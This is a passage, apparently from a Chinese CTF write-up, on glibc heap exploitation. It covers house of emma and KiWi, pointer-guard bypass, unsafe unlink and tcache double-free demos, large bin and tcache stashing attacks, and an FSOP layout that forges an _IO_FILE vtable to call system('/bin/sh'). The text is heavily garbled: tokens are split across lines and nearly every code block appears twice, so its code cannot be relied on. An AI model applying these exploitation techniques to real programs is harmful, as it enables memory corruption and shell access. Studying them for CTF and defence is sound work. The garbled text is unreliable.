,而我们又可以控制伪造的堆块中prev_size
域为system
的相关数据(由于有指针保护,之后会讲),size
域为/bin/sh
的地址(通过上一个堆块的溢出或合并后重分配),这样就能getshell
了,若是想orw
,那么可以让func
成员为magic_gadget
的相关数据,将rdi
与rdx
转换后,再调用setcontext + 61
走SROP
即可。
需要注意的是,在调用func
函数指针之前,对func
执行了PTR_DEMANGLE (func)
,这是一个指针保护,我们可以通过gdb
直接看到其汇编:
这操作主要是先进行循环右移0x11
位,再与fs:0x30(tcbhead_t->pointer_guard)
进行异或,最终得到的数据就是我们的函数指针,并调用。
因此,我们在之前所说的将func
成员改成的与system
相关的数据,就是对指针保护进行一个逆操作:先将system_addr
与pointer_guard
进行异或,再将结果循环左移0x11
位后,填入prev_size
域。
然而,pointer_guard
的值在TLS
结构中(在canary
保护stack_guard
的下一个),我们很难直接得到它的值,但是我们可以通过一些攻击手段,往其中写入我们可控数据,这样就可以控制pointer_guard
,进而绕过指针保护了。
主要是针对于glibc 2.34
中删除了__free_hook
与__malloc_hook
等之前经常利用的函数指针而提出的一条新的调用链。house of emma
利用了_IO_cookie_jumps
这个vtable
:
可以考虑其中的这几个函数:
其中涉及到的结构体定义:
在这几个函数里,都有函数指针的调用,且这几个函数指针都在劫持的IO_FILE
偏移的不远处,用同一个堆块控制起来就很方便,不过在任意调用之前也都需要绕过指针保护PTR_DEMANGLE
。此外,在调用函数指针的时候,其rdi
都是cfile->__cookie
,控制起来也是非常方便的。
利用house of KiWi
配合house of emma
的调用链为__malloc_assert -> __fxprintf -> __vfxprintf -> locked_vfxprintf -> __vfprintf_internal -> _IO_new_file_xsputn ( => _IO_cookie_write)
,这里用的是_IO_cookie_write
函数,用其他的当然也同理。
伪造的IO_FILE
如下:
if
(chunk_is_mmapped (p))
{
if
(!mp_.no_dyn_threshold
&& chunksize_nomask (p) > mp_.mmap_threshold
&& chunksize_nomask (p) <
=
DEFAULT_MMAP_THRESHOLD_MAX
&& !DUMPED_MAIN_ARENA_CHUNK (p))
{
mp_.mmap_threshold
=
chunksize (p);
/
/
假设申请的堆块大小为
0x61A80
,大于最小阈值,因此第一次malloc(
0x61A80
),使用mmap分配内存,当free这个用mmap分配的chunk时,对阈值(mp_.mmap_threshold)做了调整,将阈值设置为了chunksize,由于之前申请chunk时,size做了页对齐,所以,此时chunksize(p)为
0x62000
,也就是阈值将修改为
0x62000
。
mp_.trim_threshold
=
2
*
mp_.mmap_threshold;
LIBC_PROBE (memory_mallopt_free_dyn_thresholds,
2
,
mp_.mmap_threshold, mp_.trim_threshold);
}
munmap_chunk (p);
return
;
}
if
(chunk_is_mmapped (p))
{
if
(!mp_.no_dyn_threshold
&& chunksize_nomask (p) > mp_.mmap_threshold
&& chunksize_nomask (p) <
=
DEFAULT_MMAP_THRESHOLD_MAX
&& !DUMPED_MAIN_ARENA_CHUNK (p))
{
mp_.mmap_threshold
=
chunksize (p);
/
/
假设申请的堆块大小为
0x61A80
,大于最小阈值,因此第一次malloc(
0x61A80
),使用mmap分配内存,当free这个用mmap分配的chunk时,对阈值(mp_.mmap_threshold)做了调整,将阈值设置为了chunksize,由于之前申请chunk时,size做了页对齐,所以,此时chunksize(p)为
0x62000
,也就是阈值将修改为
0x62000
。
mp_.trim_threshold
=
2
*
mp_.mmap_threshold;
LIBC_PROBE (memory_mallopt_free_dyn_thresholds,
2
,
mp_.mmap_threshold, mp_.trim_threshold);
}
munmap_chunk (p);
return
;
}
pwndbg> vmmap
......
0x555555602000
0x555555604000
rw
-
p
2000
2000
/
pwn
0x555555604000
0x555555625000
rw
-
p
21000
0
[heap]
0x7ffff79e4000
0x7ffff7bcb000
r
-
xp
1e7000
0
/
libc
-
2.27
.so
0x7ffff7bcb000
0x7ffff7dcb000
-
-
-
p
200000
1e7000
/
libc
-
2.27
.so
......
pwndbg> vmmap
......
0x555555602000
0x555555604000
rw
-
p
2000
2000
/
pwn
0x555555604000
0x555555625000
rw
-
p
21000
0
[heap]
0x7ffff79e4000
0x7ffff7bcb000
r
-
xp
1e7000
0
/
libc
-
2.27
.so
0x7ffff7bcb000
0x7ffff7dcb000
-
-
-
p
200000
1e7000
/
libc
-
2.27
.so
......
new(small_size);
#1
new(large_size);
#2
delete(
1
);
#free into fastbin (next chunk's PREV_INUSE is still 1)
new(large_size);
#3 trigger malloc_consolidate() => move 1_addr from fastbin to small bin (modify next chunk's PREV_INUSE to 0)
delete(
1
);
# double free (free into fastbin)
new(small_size, payload);
#get 1_addr from fastbin (don't modify next chunk's PREV_INUSE)
delete(
2
);
#unsafe unlink
new(small_size);
#1
new(large_size);
#2
delete(
1
);
#free into fastbin (next chunk's PREV_INUSE is still 1)
new(large_size);
#3 trigger malloc_consolidate() => move 1_addr from fastbin to small bin (modify next chunk's PREV_INUSE to 0)
delete(
1
);
# double free (free into fastbin)
new(small_size, payload);
#get 1_addr from fastbin (don't modify next chunk's PREV_INUSE)
delete(
2
);
#unsafe unlink
libc_base
=
leak_addr
-
libc.symbols[
'__malloc_hook'
]
-
0x10
-
88
libc_base
=
leak_addr
-
libc.symbols[
'__malloc_hook'
]
-
0x10
-
88
size index
[
0x400
,
0x440
)
64
[
0x440
,
0x480
)
65
[
0x480
,
0x4C0
)
66
[
0x4C0
,
0x500
)
67
[
0x500
,
0x540
)
68
等差
0x40
…
[
0xC00
,
0xC40
)
96
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
[
0xC40
,
0xE00
)
97
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
[
0xE00
,
0x1000
)
98
[
0x1000
,
0x1200
)
99
[
0x1200
,
0x1400
)
100
[
0x1400
,
0x1600
)
101
等差
0x200
…
[
0x2800
,
0x2A00
)
111
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
[
0x2A00
,
0x3000
)
112
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
[
0x3000
,
0x4000
)
113
[
0x4000
,
0x5000
)
114
等差
0x1000
…
[
0x9000
,
0xA000
)
119
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
[
0xA000
,
0x10000
)
120
[
0x10000
,
0x18000
)
121
[
0x18000
,
0x20000
)
122
[
0x20000
,
0x28000
)
123
[
0x28000
,
0x40000
)
124
[
0x40000
,
0x80000
)
125
[
0x80000
, …. )
126
size index
[
0x400
,
0x440
)
64
[
0x440
,
0x480
)
65
[
0x480
,
0x4C0
)
66
[
0x4C0
,
0x500
)
67
[
0x500
,
0x540
)
68
等差
0x40
…
[
0xC00
,
0xC40
)
96
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
[
0xC40
,
0xE00
)
97
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
[
0xE00
,
0x1000
)
98
[
0x1000
,
0x1200
)
99
[
0x1200
,
0x1400
)
100
[
0x1400
,
0x1600
)
101
等差
0x200
…
[
0x2800
,
0x2A00
)
111
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
[
0x2A00
,
0x3000
)
112
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
[
0x3000
,
0x4000
)
113
[
0x4000
,
0x5000
)
114
等差
0x1000
…
[
0x9000
,
0xA000
)
119
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
-
[
0xA000
,
0x10000
)
120
[
0x10000
,
0x18000
)
121
[
0x18000
,
0x20000
)
122
[
0x20000
,
0x28000
)
123
[
0x28000
,
0x40000
)
124
[
0x40000
,
0x80000
)
125
[
0x80000
, …. )
126
old_top
=
av
-
>top;
old_size
=
chunksize (old_top);
old_end
=
(char
*
) (chunk_at_offset (old_top, old_size));
/
/
old_end
=
old_top
+
old_size
assert
((old_top
=
=
initial_top (av) && old_size
=
=
0
) ||
((unsigned
long
) (old_size) >
=
MINSIZE &&
prev_inuse (old_top) &&
((unsigned
long
) old_end & (pagesize
-
1
))
=
=
0
));
old_top
=
av
-
>top;
old_size
=
chunksize (old_top);
old_end
=
(char
*
) (chunk_at_offset (old_top, old_size));
/
/
old_end
=
old_top
+
old_size
assert
((old_top
=
=
initial_top (av) && old_size
=
=
0
) ||
((unsigned
long
) (old_size) >
=
MINSIZE &&
prev_inuse (old_top) &&
((unsigned
long
) old_end & (pagesize
-
1
))
=
=
0
));
if
(__glibc_unlikely(e
-
>key
=
=
tcache))
{
tcache_entry
*
tmp;
LIBC_PROBE(memory_tcache_double_free,
2
, e, tc_idx);
for
(tmp
=
tcache
-
>entries[tc_idx]; tmp; tmp
=
tmp
-
>
next
)
if
(tmp
=
=
e)
malloc_printerr(
"free(): double free detected in tcache 2"
);
}
if
(__glibc_unlikely(e
-
>key
=
=
tcache))
{
tcache_entry
*
tmp;
LIBC_PROBE(memory_tcache_double_free,
2
, e, tc_idx);
for
(tmp
=
tcache
-
>entries[tc_idx]; tmp; tmp
=
tmp
-
>
next
)
if
(tmp
=
=
e)
malloc_printerr(
"free(): double free detected in tcache 2"
);
}
#include<stdio.h>
#include<stdlib.h>
int
main()
{
void
*
ptr[
15
];
for
(
int
i
=
0
;i<
=
9
;i
+
+
)ptr[i]
=
malloc(
0x20
);
for
(
int
i
=
0
;i<
7
;i
+
+
)free(ptr[i]);
free(ptr[
7
]);
free(ptr[
8
]);
free(ptr[
7
]);
/
/
free(ptr[
9
]);
for
(
int
i
=
0
;i<
7
;i
+
+
)malloc(
0x20
);
malloc(
0x20
);
return
0
;
}
#include<stdio.h>
#include<stdlib.h>
int
main()
{
void
*
ptr[
15
];
for
(
int
i
=
0
;i<
=
9
;i
+
+
)ptr[i]
=
malloc(
0x20
);
for
(
int
i
=
0
;i<
7
;i
+
+
)free(ptr[i]);
free(ptr[
7
]);
free(ptr[
8
]);
free(ptr[
7
]);
/
/
free(ptr[
9
]);
for
(
int
i
=
0
;i<
7
;i
+
+
)malloc(
0x20
);
malloc(
0x20
);
return
0
;
}
#define REMOVE_FB(fb, victim, pp)//摘除一个空闲chunk
do
{
victim
=
pp;
if
(victim
=
=
NULL)
break
;
}
while
((pp
=
catomic_compare_and_exchange_val_acq (fb, victim
-
>fd, victim)) !
=
victim);
/
/
catomic_compare_and_exchange_val_rel_acq 功能是 如果
*
fb等于victim,则将
*
fb存储为victim
-
>fd,返回victim;
/
/
其作用是从刚刚得到的空闲chunk链表指针中取出第一个空闲的chunk(victim),并将链表头设置为该空闲chunk的下一个chunk(victim
-
>fd)
#define REMOVE_FB(fb, victim, pp)//摘除一个空闲chunk
do
{
victim
=
pp;
if
(victim
=
=
NULL)
break
;
}
while
((pp
=
catomic_compare_and_exchange_val_acq (fb, victim
-
>fd, victim)) !
=
victim);
/
/
catomic_compare_and_exchange_val_rel_acq 功能是 如果
*
fb等于victim,则将
*
fb存储为victim
-
>fd,返回victim;
/
/
其作用是从刚刚得到的空闲chunk链表指针中取出第一个空闲的chunk(victim),并将链表头设置为该空闲chunk的下一个chunk(victim
-
>fd)
malloc(
0x20
)
#1
free(
1
)
malloc(
0x20
)
#2
free(
1
)
#UAF
Edit(
2
, payload)
malloc(
0x20
)
#1
free(
1
)
malloc(
0x20
)
#2
free(
1
)
#UAF
Edit(
2
, payload)
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
uint64_t
*
chunk0_ptr;
int
main()
{
int
malloc_size
=
0x80
;
/
/
避免进入fast
bin
chunk0_ptr
=
(uint64_t
*
) malloc(malloc_size);
/
/
chunk0
/
/
chunk0_ptr指向堆块的user data,而&chunk0_ptr是指针的地址,其中存放着该指针指向的堆块的fd的地址
/
/
在
0x90
的chunk0的user data区伪造一个大小为
0x80
的fake chunk
uint64_t
*
chunk1_ptr
=
(uint64_t
*
) malloc(malloc_size);
/
/
chunk1
chunk0_ptr[
1
]
=
0x80
;
/
/
高版本会有(chunksize(P)!
=
prev_size(next_chunk(P))
=
=
False
)的检查
/
/
绕过检测((P
-
>fd
-
>bk!
=
P || P
-
>bk
-
>fd!
=
P)
=
=
False
):
chunk0_ptr[
2
]
=
(uint64_t) &chunk0_ptr
-
0x18
;
/
/
设置fake chunk的fd
/
/
P
-
>fd
-
>bk
=
*
(
*
(P
+
0x10
)
+
0x18
)
=
*
(&P
-
0x18
+
0x18
)
=
P
chunk0_ptr[
3
]
=
(uint64_t) &chunk0_ptr
-
0x10
;
/
/
设置fake chunk的bk
/
/
P
-
>bk
-
>fd
=
*
(
*
(P
+
0x18
)
+
0x10
)
=
*
(&P
-
0x10
+
0x10
)
=
P
uint64_t
*
chunk1_hdr
=
chunk1_ptr
-
0x10
;
/
/
chunk1_hdr指向chunk1 header
chunk1_hdr[
0
]
=
malloc_size;
/
/
往上寻找pre(fake) chunk
chunk1_hdr[
1
] &
=
~
1
;
/
/
prev_inuse
-
>
0
/
/
高版本需要先填满对应的tcache
bin
free(chunk1_ptr);
/
/
触发unlink,chunk1找到被伪造成空闲的fake chunk想与之合并,然后对fake chunk进行unlink操作
/
/
P
-
>fd
-
>bk
=
P
=
P
-
>bk,P
-
>bk
-
>fd
=
P
=
P
-
>fd,即最终P
=
*
(P
+
0x10
)
=
&P
-
0x18
char victim_string[
8
]
=
"AAAAAAA"
;
chunk0_ptr[
3
]
=
(uint64_t) victim_string;
/
/
*
(P
+
0x18
)
=
*
(&P)
=
P
=
&
str
chunk0_ptr[
0
]
=
0x42424242424242LL
;
/
/
*
P
=
*
(&
str
)
=
str
=
BBBBBBB
fprintf(stderr,
"New Value: %s\n"
,victim_string);
/
/
BBBBBBB
return
0
;
}
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
uint64_t
*
chunk0_ptr;
int
main()
{
int
malloc_size
=
0x80
;
/
/
避免进入fast
bin
chunk0_ptr
=
(uint64_t
*
) malloc(malloc_size);
/
/
chunk0
/
/
chunk0_ptr指向堆块的user data,而&chunk0_ptr是指针的地址,其中存放着该指针指向的堆块的fd的地址
/
/
在
0x90
的chunk0的user data区伪造一个大小为
0x80
的fake chunk
uint64_t
*
chunk1_ptr
=
(uint64_t
*
) malloc(malloc_size);
/
/
chunk1
chunk0_ptr[
1
]
=
0x80
;
/
/
高版本会有(chunksize(P)!
=
prev_size(next_chunk(P))
=
=
False
)的检查
/
/
绕过检测((P
-
>fd
-
>bk!
=
P || P
-
>bk
-
>fd!
=
P)
=
=
False
):
chunk0_ptr[
2
]
=
(uint64_t) &chunk0_ptr
-
0x18
;
/
/
设置fake chunk的fd
/
/
P
-
>fd
-
>bk
=
*
(
*
(P
+
0x10
)
+
0x18
)
=
*
(&P
-
0x18
+
0x18
)
=
P
chunk0_ptr[
3
]
=
(uint64_t) &chunk0_ptr
-
0x10
;
/
/
设置fake chunk的bk
/
/
P
-
>bk
-
>fd
=
*
(
*
(P
+
0x18
)
+
0x10
)
=
*
(&P
-
0x10
+
0x10
)
=
P
uint64_t
*
chunk1_hdr
=
chunk1_ptr
-
0x10
;
/
/
chunk1_hdr指向chunk1 header
chunk1_hdr[
0
]
=
malloc_size;
/
/
往上寻找pre(fake) chunk
chunk1_hdr[
1
] &
=
~
1
;
/
/
prev_inuse
-
>
0
/
/
高版本需要先填满对应的tcache
bin
free(chunk1_ptr);
/
/
触发unlink,chunk1找到被伪造成空闲的fake chunk想与之合并,然后对fake chunk进行unlink操作
/
/
P
-
>fd
-
>bk
=
P
=
P
-
>bk,P
-
>bk
-
>fd
=
P
=
P
-
>fd,即最终P
=
*
(P
+
0x10
)
=
&P
-
0x18
char victim_string[
8
]
=
"AAAAAAA"
;
chunk0_ptr[
3
]
=
(uint64_t) victim_string;
/
/
*
(P
+
0x18
)
=
*
(&P)
=
P
=
&
str
chunk0_ptr[
0
]
=
0x42424242424242LL
;
/
/
*
P
=
*
(&
str
)
=
str
=
BBBBBBB
fprintf(stderr,
"New Value: %s\n"
,victim_string);
/
/
BBBBBBB
return
0
;
}
else
{
victim
-
>fd_nextsize
=
fwd;
victim
-
>bk_nextsize
=
fwd
-
>bk_nextsize;
/
/
1
fwd
-
>bk_nextsize
=
victim;
victim
-
>bk_nextsize
-
>fd_nextsize
=
victim;
/
/
2
}
...
bck
=
fwd
-
>bk;
...
victim
-
>bk
=
bck;
victim
-
>fd
=
fwd;
fwd
-
>bk
=
victim;
bck
-
>fd
=
victim;
/
/
3
else
{
victim
-
>fd_nextsize
=
fwd;
victim
-
>bk_nextsize
=
fwd
-
>bk_nextsize;
/
/
1
fwd
-
>bk_nextsize
=
victim;
victim
-
>bk_nextsize
-
>fd_nextsize
=
victim;
/
/
2
}
...
bck
=
fwd
-
>bk;
...
victim
-
>bk
=
bck;
victim
-
>fd
=
fwd;
fwd
-
>bk
=
victim;
bck
-
>fd
=
victim;
/
/
3
addr
-
0x20
:
0x4d4caf8060000000
0x0000000000000056
addr
-
0x10
:
0x00007fe2b0e39b78
0x0000564d4caf8060
addr: ...
addr
-
0x20
:
0x4d4caf8060000000
0x0000000000000056
addr
-
0x10
:
0x00007fe2b0e39b78
0x0000564d4caf8060
addr: ...
assert
(!victim || chunk_is_mmapped(mem2chunk(victim))
|| ar_ptr
=
=
arena_for_chunk(mem2chunk(victim)));
assert
(!victim || chunk_is_mmapped(mem2chunk(victim))
|| ar_ptr
=
=
arena_for_chunk(mem2chunk(victim)));
while
( tcache
-
>counts[tc_idx] < mp_.tcache_count
&& (tc_victim
=
last (
bin
) ) !
=
bin
)
/
/
验证取出的Chunk是否为
Bin
本身(Smallbin是否已空)
{
if
(tc_victim !
=
0
)
/
/
成功获取了chunk
{
bck
=
tc_victim
-
>bk;
/
/
在这里bck是fake chunk的bk
/
/
设置标志位
set_inuse_bit_at_offset (tc_victim, nb);
if
(av !
=
&main_arena)
set_non_main_arena (tc_victim);
bin
-
>bk
=
bck;
bck
-
>fd
=
bin
;
/
/
关键处
tcache_put (tc_victim, tc_idx);
/
/
将其放入到tcache中
}
}
while
( tcache
-
>counts[tc_idx] < mp_.tcache_count
&& (tc_victim
=
last (
bin
) ) !
=
bin
)
/
/
验证取出的Chunk是否为
Bin
本身(Smallbin是否已空)
{
if
(tc_victim !
=
0
)
/
/
成功获取了chunk
{
bck
=
tc_victim
-
>bk;
/
/
在这里bck是fake chunk的bk
/
/
设置标志位
set_inuse_bit_at_offset (tc_victim, nb);
if
(av !
=
&main_arena)
set_non_main_arena (tc_victim);
bin
-
>bk
=
bck;
bck
-
>fd
=
bin
;
/
/
关键处
tcache_put (tc_victim, tc_idx);
/
/
将其放入到tcache中
}
}
struct _IO_FILE_plus
{
_IO_FILE
file
;
const struct _IO_jump_t
*
vtable;
};
struct _IO_FILE_plus
{
_IO_FILE
file
;
const struct _IO_jump_t
*
vtable;
};
struct _IO_jump_t
{
JUMP_FIELD(size_t, __dummy);
JUMP_FIELD(size_t, __dummy2);
JUMP_FIELD(_IO_finish_t, __finish);
JUMP_FIELD(_IO_overflow_t, __overflow);
JUMP_FIELD(_IO_underflow_t, __underflow);
JUMP_FIELD(_IO_underflow_t, __uflow);
JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
/
*
showmany
*
/
JUMP_FIELD(_IO_xsputn_t, __xsputn);
JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
JUMP_FIELD(_IO_seekoff_t, __seekoff);
JUMP_FIELD(_IO_seekpos_t, __seekpos);
JUMP_FIELD(_IO_setbuf_t, __setbuf);
JUMP_FIELD(_IO_sync_t, __sync);
JUMP_FIELD(_IO_doallocate_t, __doallocate);
JUMP_FIELD(_IO_read_t, __read);
JUMP_FIELD(_IO_write_t, __write);
JUMP_FIELD(_IO_seek_t, __seek);
JUMP_FIELD(_IO_close_t, __close);
JUMP_FIELD(_IO_stat_t, __stat);
JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
JUMP_FIELD(_IO_imbue_t, __imbue);
#if 0
get_column;
set_column;
#endif
};
struct _IO_jump_t
{
JUMP_FIELD(size_t, __dummy);
JUMP_FIELD(size_t, __dummy2);
JUMP_FIELD(_IO_finish_t, __finish);
JUMP_FIELD(_IO_overflow_t, __overflow);
JUMP_FIELD(_IO_underflow_t, __underflow);
JUMP_FIELD(_IO_underflow_t, __uflow);
JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
/
*
showmany
*
/
JUMP_FIELD(_IO_xsputn_t, __xsputn);
JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
JUMP_FIELD(_IO_seekoff_t, __seekoff);
JUMP_FIELD(_IO_seekpos_t, __seekpos);
JUMP_FIELD(_IO_setbuf_t, __setbuf);
JUMP_FIELD(_IO_sync_t, __sync);
JUMP_FIELD(_IO_doallocate_t, __doallocate);
JUMP_FIELD(_IO_read_t, __read);
JUMP_FIELD(_IO_write_t, __write);
JUMP_FIELD(_IO_seek_t, __seek);
JUMP_FIELD(_IO_close_t, __close);
JUMP_FIELD(_IO_stat_t, __stat);
JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
JUMP_FIELD(_IO_imbue_t, __imbue);
#if 0
get_column;
set_column;
#endif
};
struct _IO_FILE {
int
_flags;
#define _IO_file_flags _flags
char
*
_IO_read_ptr;
/
*
Current read pointer
*
/
char
*
_IO_read_end;
/
*
End of get area.
*
/
char
*
_IO_read_base;
/
*
Start of putback
+
get area.
*
/
char
*
_IO_write_base;
/
*
Start of put area.
*
/
char
*
_IO_write_ptr;
/
*
Current put pointer.
*
/
char
*
_IO_write_end;
/
*
End of put area.
*
/
char
*
_IO_buf_base;
/
*
Start of reserve area.
*
/
char
*
_IO_buf_end;
/
*
End of reserve area.
*
/
/
*
The following fields are used to support backing up
and
undo.
*
/
char
*
_IO_save_base;
/
*
Pointer to start of non
-
current get area.
*
/
char
*
_IO_backup_base;
/
*
Pointer to first valid character of backup area
*
/
char
*
_IO_save_end;
/
*
Pointer to end of non
-
current get area.
*
/
struct _IO_marker
*
_markers;
struct _IO_FILE
*
_chain;
int
_fileno;
#if 0
int
_blksize;
#else
int
_flags2;
#endif
_IO_off_t _old_offset;
#define __HAVE_COLUMN
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[
1
];
_IO_lock_t
*
_lock;
#ifdef _IO_USE_OLD_IO_FILE
};
struct _IO_FILE {
int
_flags;
#define _IO_file_flags _flags
char
*
_IO_read_ptr;
/
*
Current read pointer
*
/
char
*
_IO_read_end;
/
*
End of get area.
*
/
char
*
_IO_read_base;
/
*
Start of putback
+
get area.
*
/
char
*
_IO_write_base;
/
*
Start of put area.
*
/
char
*
_IO_write_ptr;
/
*
Current put pointer.
*
/
char
*
_IO_write_end;
/
*
End of put area.
*
/
char
*
_IO_buf_base;
/
*
Start of reserve area.
*
/
char
*
_IO_buf_end;
/
*
End of reserve area.
*
/
/
*
The following fields are used to support backing up
and
undo.
*
/
char
*
_IO_save_base;
/
*
Pointer to start of non
-
current get area.
*
/
char
*
_IO_backup_base;
/
*
Pointer to first valid character of backup area
*
/
char
*
_IO_save_end;
/
*
Pointer to end of non
-
current get area.
*
/
struct _IO_marker
*
_markers;
struct _IO_FILE
*
_chain;
int
_fileno;
#if 0
int
_blksize;
#else
int
_flags2;
#endif
_IO_off_t _old_offset;
#define __HAVE_COLUMN
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[
1
];
_IO_lock_t
*
_lock;
#ifdef _IO_USE_OLD_IO_FILE
};
struct _IO_wide_data
{
wchar_t
*
_IO_read_ptr;
wchar_t
*
_IO_read_end;
wchar_t
*
_IO_read_base;
wchar_t
*
_IO_write_base;
wchar_t
*
_IO_write_ptr;
wchar_t
*
_IO_write_end;
wchar_t
*
_IO_buf_base;
wchar_t
*
_IO_buf_end;
[...]
const struct _IO_jump_t
*
_wide_vtable;
};
struct _IO_wide_data
{
wchar_t
*
_IO_read_ptr;
wchar_t
*
_IO_read_end;
wchar_t
*
_IO_read_base;
wchar_t
*
_IO_write_base;
wchar_t
*
_IO_write_ptr;
wchar_t
*
_IO_write_end;
wchar_t
*
_IO_buf_base;
wchar_t
*
_IO_buf_end;
[...]
const struct _IO_jump_t
*
_wide_vtable;
};
#define _IO_MAGIC 0xFBAD0000
#define _OLD_STDIO_MAGIC 0xFABC0000
#define _IO_MAGIC_MASK 0xFFFF0000
#define _IO_USER_BUF 1
#define _IO_UNBUFFERED 2
#define _IO_NO_READS 4
#define _IO_NO_WRITES 8
#define _IO_EOF_SEEN 0x10
#define _IO_ERR_SEEN 0x20
#define _IO_DELETE_DONT_CLOSE 0x40
#define _IO_LINKED 0x80
#define _IO_IN_BACKUP 0x100
#define _IO_LINE_BUF 0x200
#define _IO_TIED_PUT_GET 0x400
#define _IO_CURRENTLY_PUTTING 0x800
#define _IO_IS_APPENDING 0x1000
#define _IO_IS_FILEBUF 0x2000
#define _IO_BAD_SEEN 0x4000
#define _IO_USER_LOCK 0x8000
#define _IO_MAGIC 0xFBAD0000
#define _OLD_STDIO_MAGIC 0xFABC0000
#define _IO_MAGIC_MASK 0xFFFF0000
#define _IO_USER_BUF 1
#define _IO_UNBUFFERED 2
#define _IO_NO_READS 4
#define _IO_NO_WRITES 8
#define _IO_EOF_SEEN 0x10
#define _IO_ERR_SEEN 0x20
#define _IO_DELETE_DONT_CLOSE 0x40
#define _IO_LINKED 0x80
#define _IO_IN_BACKUP 0x100
#define _IO_LINE_BUF 0x200
#define _IO_TIED_PUT_GET 0x400
#define _IO_CURRENTLY_PUTTING 0x800
#define _IO_IS_APPENDING 0x1000
#define _IO_IS_FILEBUF 0x2000
#define _IO_BAD_SEEN 0x4000
#define _IO_USER_LOCK 0x8000
setvbuf(stdin,
0LL
,
2
,
0LL
);
setvbuf(stdout,
0LL
,
2
,
0LL
);
setvbuf(stderr,
0LL
,
2
,
0LL
);
setvbuf(stdin,
0LL
,
2
,
0LL
);
setvbuf(stdout,
0LL
,
2
,
0LL
);
setvbuf(stderr,
0LL
,
2
,
0LL
);
int
_IO_flush_all_lockp (
int
do_lock)
{
int
result
=
0
;
struct _IO_FILE
*
fp;
int
last_stamp;
fp
=
(_IO_FILE
*
) _IO_list_all;
while
(fp !
=
NULL)
{
...
if
(((fp
-
>_mode <
=
0
&& fp
-
>_IO_write_ptr > fp
-
>_IO_write_base)
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
|| (_IO_vtable_offset (fp)
=
=
0
&& fp
-
>_mode >
0
&& (fp
-
>_wide_data
-
>_IO_write_ptr
> fp
-
>_wide_data
-
>_IO_write_base))
#endif
)
&& _IO_OVERFLOW (fp, EOF)
=
=
EOF)
/
/
如果输出缓冲区有数据,刷新输出缓冲区
result
=
EOF;
fp
=
fp
-
>_chain;
/
/
遍历链表
}
[...]
}
int
_IO_flush_all_lockp (
int
do_lock)
{
int
result
=
0
;
struct _IO_FILE
*
fp;
int
last_stamp;
fp
=
(_IO_FILE
*
) _IO_list_all;
while
(fp !
=
NULL)
{
...
if
(((fp
-
>_mode <
=
0
&& fp
-
>_IO_write_ptr > fp
-
>_IO_write_base)
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
|| (_IO_vtable_offset (fp)
=
=
0
&& fp
-
>_mode >
0
&& (fp
-
>_wide_data
-
>_IO_write_ptr
> fp
-
>_wide_data
-
>_IO_write_base))
#endif
)
&& _IO_OVERFLOW (fp, EOF)
=
=
EOF)
/
/
如果输出缓冲区有数据,刷新输出缓冲区
result
=
EOF;
fp
=
fp
-
>_chain;
/
/
遍历链表
}
[...]
}
fp
-
>_mode
=
0
fp
-
>_IO_write_ptr > fp
-
>_IO_write_base
fp
-
>_mode
=
0
fp
-
>_IO_write_ptr > fp
-
>_IO_write_base
._chain
=
> chunk_addr
chunk_addr
{
file
=
{
_flags
=
"/bin/sh\x00"
,
/
/
对应此结构体首地址(fp)
_IO_read_ptr
=
0x0
,
_IO_read_end
=
0x0
,
_IO_read_base
=
0x0
,
_IO_write_base
=
0x0
,
_IO_write_ptr
=
0x1
,
...
_mode
=
0x0
,
/
/
一般不用特意设置
_unused2
=
'\000'
<repeats
19
times>
},
vtable
=
heap_addr
}
heap_addr
{
__dummy
=
0x0
,
__dummy2
=
0x0
,
__finish
=
0x0
,
__overflow
=
system_addr,
...
}
._chain
=
> chunk_addr
chunk_addr
{
file
=
{
_flags
=
"/bin/sh\x00"
,
/
/
对应此结构体首地址(fp)
_IO_read_ptr
=
0x0
,
_IO_read_end
=
0x0
,
_IO_read_base
=
0x0
,
_IO_write_base
=
0x0
,
_IO_write_ptr
=
0x1
,
...
_mode
=
0x0
,
/
/
一般不用特意设置
_unused2
=
'\000'
<repeats
19
times>
},
vtable
=
heap_addr
}
heap_addr
{
__dummy
=
0x0
,
__dummy2
=
0x0
,
__finish
=
0x0
,
__overflow
=
system_addr,
...
}
#define _IO_OVERFLOW(FP, CH) JUMP1 (__overflow, FP, CH)
#define JUMP1(FUNC, THIS, X1) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS, X1)
# define _IO_JUMPS_FUNC(THIS) \
(IO_validate_vtable \
(
*
(struct _IO_jump_t
*
*
) ((void
*
) &_IO_JUMPS_FILE_plus (THIS) \
+
(THIS)
-
>_vtable_offset)))
#define _IO_OVERFLOW(FP, CH) JUMP1 (__overflow, FP, CH)
#define JUMP1(FUNC, THIS, X1) (_IO_JUMPS_FUNC(THIS)->FUNC) (THIS, X1)
# define _IO_JUMPS_FUNC(THIS) \
(IO_validate_vtable \
(
*
(struct _IO_jump_t
